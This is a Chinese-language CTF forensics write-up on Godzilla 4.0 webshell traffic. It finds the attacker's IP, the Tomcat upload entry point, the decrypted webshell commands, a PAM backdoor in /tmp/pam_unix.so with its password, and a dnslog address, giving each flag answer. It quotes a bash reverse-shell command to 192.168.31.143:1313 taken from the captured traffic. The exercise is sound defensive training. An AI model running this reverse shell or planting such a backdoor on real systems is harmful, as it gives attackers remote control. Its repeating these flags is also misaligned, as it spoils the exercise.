第六章-哥斯拉4.0流量分析
1、黑客的IP是什么?
我们打开wireshark,哥斯拉的流量都是用POST的传输的,所以什么直接抓取post流量包
1
| http.request.method=="POST"
|

发现post的流量包都集中在hello.jsp这个文件,我们再搜索一下这个文件
1
| http contains "/hello.jsp"
|

这里有个hello.jsp的文件打开看看

典型的哥斯拉流量包的特征至此我们确认黑客ip
2.黑客是通过什么漏洞进入服务器的?(提交CVE编号)
我们继续分析流量包

在这个流量包的末尾这里发现了中间件为Apache Tomcat/8.5.19,这里又是用的put方式讲文件上传,所以我猜黑客是使用了Tomcat/8.5.19文件上传漏洞


3.黑客上传的木马文件名是什么?(提交文件名)
根据前面第一题可以知道文件名为hello.jsp
4.黑客上传的木马连接密码是什么?
根据第一题可知
5.黑客上传的木马解密密钥是什么?
根据第一题可知
6.黑客连接webshell后执行的第一条命令是什么?
我们继续分析流量包,在长度为313这里这个流量包点击进去感觉有点不对劲,返回包的内容比较少怀疑是执行了命令,讲请求包的加密内容丢到工具箱进行分析


解密出来是命令执行,可以看到第一条的命令

1
| cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
|
命令结构解析
flag{uname -r}
1 2 3 4 5 6 7
| 
## 7.黑客连接webshell时查询当前shell的权限是什么?
我们继续分析流量包,在305这个数据包里面解密返回包内容,可以看到用户拿到shell后执行了id命令,返回当前用户权限
|
flag{root}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 


## 8.黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
继续分析流量包,在长度329流量包这里,讲该流量包解密


黑客在这里执行了命令cat /etc/os-release命令,这个命令是显示发行版名称和版本的我们讲这里的返回包进行解密

可以看到返回包返回的发发行版本,拿到flag

|
flag{Debian GNU/Linux 10 (buster)}
1 2 3 4 5 6 7 8 9
| ## 9.黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
继续分析流量包,在长度为323这里讲流量包进行解密

可以看到黑客在这里明显使用了grep命令,
|
sh -c “cd /; rpm -qa | grep pam” 2>&1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| - `sh -c "..."`:使用`sh` shell执行一个命令。 - `cd /`:切换到根目录。 - `rpm -qa`:列出所有已安装的RPM包。 - `grep pam`:过滤出包含`pam`的包名。 - `2>&1`:将标准错误输出重定向到标准输出,这样所有的输出(包括错误信息)都会被捕捉到。


简单分析;
* rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。
* 2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。
我讲这条命令没有成功执行不是我们想要的结果,继续分析流量包


|
cmdLine 0 sh -c “cd “/“;dpkg -l libpam-modules:amd64” 2>&1arg-3 2>&1executableFile shexecutableArgs - -c “cd “/“;dpkg -l libpam-modules:amd64” 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd “/“;dpkg -l libpam-modules:amd64methodName execCommand
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| - **命令结构**:`sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1` - `sh -c`:使用 shell 来执行命令。 - `cd "/"`:切换到根目录,但在这个上下文中没有实际效果。 - `dpkg -l libpam-modules:amd64`:查询安装的 `libpam-modules` 包,特定于 amd64 架构。 - `2>&1`:将标准错误输出重定向到标准输出,以捕获所有输出信息。 - **参数和方法**: - `arg-0 sh`:表示命令的第一个参数是 `sh`。 - `arg-1 -c`:表示使用 `-c` 选项来执行字符串中的命令。 - `arg-2 cd "/";dpkg -l libpam-modules:amd64"`:表示要执行的具体命令。 - `methodName execCommand`:表示这是一个执行命令的方法调用。 - **命令目的**:黑客通过这个命令检查目标系统中是否安装了 `libpam-modules` 包,该包与 PAM(可插入式认证模块)相关,负责系统的身份验证和安全管理。通过查询该包的状态和版本信息,黑客可以评估系统的安全性。
我们继续对返回包进行解析

最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”将这段命令提取即可拿到flag
|
flag{dpkg -l libpam-modules:amd64}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ## 10.黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
这个时候分析流量包就要着重看看,解密后的流量包里面是否含有反弹命令了
继续一个一个找


讲长度为413这里,讲该流量包进行解密发现,这里解完密后依旧还有base64加密,而且这个格式像反弹命令讲加密的地方拿去解码

可以确定黑客执行了反弹命令,这个命令 `/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1` 是一个经典的反向 shell 命令,它允许攻击者在目标系统上获得一个交互式的 shell
> `execCommand` 方法在这个例子中被用来执行一个复杂的命令,该命令通过 Base64 编码隐藏了其真实意图。解码后的命令是一个反向 shell,它会连接到指定的 IP 地址和端口,并提供一个交互式的 shell,允许攻击者远程控制目标系统
<img src="/img/image-20250801120331227.png" alt="image-20250801120331227" style="zoom:50%;" />
|
flag{192.168.31.143:1313}
1 2 3 4 5
| ## 11.黑客通过什么文件留下了后门?
也是解密了好几条,在长度为1295这里一点进去一大串的加密内容,讲这段加密解密即可看到黑客在什么目录下面创建了后面
|
flag{pam_unix.so}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 文件路径:/tmp/pam_unix.so
* /tmp 目录通常用于存储临时文件,黑客选择这个目录可能是为了避开监控,因为很多系统管理员不会频繁检查该目录。 * pam_unix.so 是一个常见的动态链接库文件,通常与 PAM(可插入式认证模块)相关联。这个文件名暗示了它可能涉及系统的身份验证。



这里直接对黑客的ip和端口进行过滤流量也能看到黑客操作的文件

## 12.黑客设置的后门密码是什么?
通过上题我们知道黑客存放的后门文件是pam_unix.sofileValue,我们直接从根目录进行搜索
|
find / -name “pam_unix.so”
1 2 3 4 5 6 7 8 9 10 11
| 
找到存放地址,追踪过去,来到当前目录,我这里使用的finalshell,所以直接可以下载


现在导出后门文件了,我们使用file命令看看文件类型,**`file` 命令用于确定文件的类型。它通过检查文件的内容而不仅仅是文件的扩展名来识别文件类型。**
|
file pam_unix.so
1 2 3 4 5 6 7 8 9 10 11
| 
**`pam_unix.so` 是一个为 64 位 x86-64 架构编写的动态链接共享库,遵循 ELF 格式,包含调试信息且没有剥离。它是 PAM(可插入式认证模块)的一部分,用于处理基于 UNIX 的身份验证**
这里我们涉及到一些逆向知识,我们使用逆向工具——64位的IDA进行分析
**`pam_sm_authenticate` 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务**

|
flag{XJ@123}
1 2 3 4 5
| ## 13.黑客的恶意dnslog服务器地址是什么?
在密码上面就能看到一条dnslog的地址
|
%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.